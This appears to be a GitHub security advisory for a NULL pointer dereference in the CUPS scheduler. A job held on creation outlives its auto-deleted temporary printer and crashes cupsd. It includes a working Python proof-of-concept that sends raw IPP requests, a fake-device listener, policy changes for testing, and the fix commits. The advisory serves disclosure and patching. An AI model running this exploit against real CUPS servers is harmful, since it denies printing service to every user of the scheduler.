NULL pointer dereference in cupsdCheckJobs crashes cupsd after temporary printer deletion
What fixes it
- 2.4.20cupsGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
cupsd crashes when a job marked job-held-on-create refers to a temporary printer that has been automatically deleted. cupsdCheckJobs() looks up the missing destination and dereferences the returned NULL pointer.
Reproduced on CUPS v2.4.19 over the local CUPS domain socket. The crash affects all queues managed by the scheduler. The queue must first be configured to hold new jobs, which requires administrative privileges under the default policy. The reproduction below relaxes that requirement for testing.
Details
In cupsdCheckJobs(), the job-held-on-create branch accesses the destination without checking whether it still exists (scheduler/job.c:325–336):
reasons = ippGetString(job->reasons, 0, NULL);
if (reasons && !strcmp(reasons, "job-held-on-create"))
{
printer = cupsdFindDest(job->dest);
if (printer->holding_new_jobs)
continue;
ippSetString(job->attrs, &job->reasons, 0, "none");
}add_job() assigns this reason when the destination has holding_new_jobs set. That state is enabled by Hold-New-Jobs, an operation restricted to @SYSTEM under the default policy.
The destination can disappear through cupsdDeleteTemporaryPrinters() (scheduler/printers.c:783–806). This function removes temporary printers that are not processing and whose state_time is older than 300 seconds, without canceling their jobs. In contrast, the explicit CUPS-Delete-Printer operation cancels jobs before deleting the destination.
A failed local-printer probe sets state_time to zero on several error paths in scheduler/ipp.c, making the temporary printer immediately eligible for removal. If a held-on-create job remains, the next call to cupsdCheckJobs() dereferences NULL at scheduler/job.c:333.
Runtime reproduction was performed on v2.4.19. The supplied source-history analysis places the vulnerable branch in v2.2.0 through v2.4.19; earlier versions were assessed by inspection rather than runtime testing.
The fix should check the destination lookup and handle jobs left behind by temporary-printer removal. Extending the removal delay alone would not address the missing NULL check.
Proof of concept
Configuration
- CUPS v2.4.19 with access to its Unix domain socket.
CUPS-Create-Local-Printerrequires a domain-socket client.- The test policy permits
Hold-New-JobsandCUPS-Accept-Jobswithout authentication. Both are privileged under the default policy.
In the test instance’s existing <Policy default> block, move these two operations out of any existing privileged <Limit> group and place them in:
<Limit Hold-New-Jobs CUPS-Accept-Jobs> Order deny,allow </Limit>
Leave the other policy rules unchanged and restart the test instance.
Device listener
Save the following as /tmp/blackhole.py and run it with python3 /tmp/blackhole.py. It accepts the printer probe, waits two seconds, and closes the connection.
#!/usr/bin/env python3
# blackhole.py - accept TCP connections, hold 2s, close (fake slow device)
import socket, threading, time
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 9999)); s.listen(8)
def handle(c):
try: time.sleep(2)
finally: c.close()
while True:
c, _ = s.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()Trigger
Save the original reproduction script below as /tmp/poc.py. It creates a temporary printer, enables job acceptance, holds new jobs, and submits a job while the device probe is pending.
#!/usr/bin/env python3
"""PoC: cupsd 2.4.19 NULL deref in cupsdCheckJobs (job.c:333)."""
import socket, struct, sys, time
SOCK = sys.argv[1] if len(sys.argv) > 1 else "/var/run/cups/cups.sock"
NAME = "p019"
PURI = f"ipp://localhost/printers/{NAME}"
BLACKHOLE = "ipp://127.0.0.1:9999/ipp/print"
def attr_str(tag, name, value):
v = value.encode()
return (struct.pack(">BH", tag, len(name)) + name.encode()
+ struct.pack(">H", len(v)) + v)
def build(opid, reqid, groups, path, data=b""):
body = struct.pack(">BBHI", 1, 1, opid, reqid)
for gtag, attrs in groups:
body += bytes([gtag]) + attrs
body += b"\x03" + data
return (f"POST {path} HTTP/1.1\r\nHost: localhost\r\n"
f"Content-Type: application/ipp\r\nContent-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n").encode() + body
def op_attrs(extra=b""):
return (attr_str(0x47, "attributes-charset", "utf-8")
+ attr_str(0x48, "attributes-natural-language", "en")
+ attr_str(0x45, "printer-uri", PURI) + extra)
def send(req):
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.settimeout(20)
s.connect(SOCK)
s.sendall(req)
return s
def read_status(s):
resp = b""
try:
while True:
c = s.recv(4096)
if not c: break
resp += c
except socket.timeout:
pass
s.close()
if b"\r\n\r\n" not in resp: return None
ipp = resp.split(b"\r\n\r\n", 1)[1]
return struct.unpack(">H", ipp[4:6])[0] if len(ipp) >= 6 else None
reqs = []
# 1. Create the temporary local printer; its response is deferred until the
# device probe finishes, so fire the remaining requests immediately.
reqs.append(("Create-Local-Printer", send(build(0x4028, 1, [
(0x01, attr_str(0x47, "attributes-charset", "utf-8")
+ attr_str(0x48, "attributes-natural-language", "en")
+ attr_str(0x45, "printer-uri", PURI)),
(0x04, attr_str(0x42, "printer-name", NAME)
+ attr_str(0x45, "device-uri", BLACKHOLE)),
], f"/printers/{NAME}"))))
reqs.append(("Accept-Jobs", send(build(0x4008, 2, [(0x01, op_attrs())], f"/printers/{NAME}"))))
reqs.append(("Hold-New-Jobs", send(build(0x0025, 3, [(0x01, op_attrs())], f"/printers/{NAME}"))))
reqs.append(("Print-Job", send(build(0x0002, 4, [(0x01, op_attrs(
attr_str(0x42, "document-format", "application/vnd.cups-raw")))],
f"/printers/{NAME}", data=b"poc019\n"))))
time.sleep(1)
for name, s in reqs:
st = read_status(s)
print(f"[*] {name}: {hex(st) if st is not None else 'no response'}")
print("[*] cupsd should die within seconds of the probe failure; check:")
print(" systemctl status cups / journalctl -u cups --since -1min")Run:
python3 /tmp/poc.py /var/run/cups/cups.sock
Observed result
The job was queued with state held and reason job-held-on-create. After the probe failed, the temporary printer was deleted without canceling the job. The scheduler then terminated with SIGSEGV.
The sanitized build reported:
job.c:333:20: runtime error: member access within null pointer of type 'cupsd_printer_t'
#0 cupsdCheckJobs scheduler/job.c:333:20
#1 main scheduler/main.c:1026:7The script above is unchanged from the supplied reproduction. Its read_status() reads bytes 4:6, which belong to the IPP request ID rather than the status code at bytes 2:4. Its printed status values therefore do not establish that the operations succeeded; use the scheduler logs and crash trace as evidence.
Impact
This is a NULL pointer dereference causing scheduler-wide denial of service. All queues managed by the affected cupsd process lose service.
Under the default policy, a local user cannot independently perform the full demonstrated sequence: enabling job acceptance and holding new jobs require administrative privileges. An unprivileged submission can trigger the failure when a temporary queue is already accepting jobs and configured to hold them.
A restart loop may also occur if the held job is persisted before the destination disappears and restored at startup without that destination. This is a separate persistence scenario, not established by the two-second reproduction above.
Fix
[master 7c7b35b18272c9] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)
[2.4.x c5fc041ca] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)
Text from GitHub Advisory Database
Affected versions 1
- cups<=2.4.19GitHub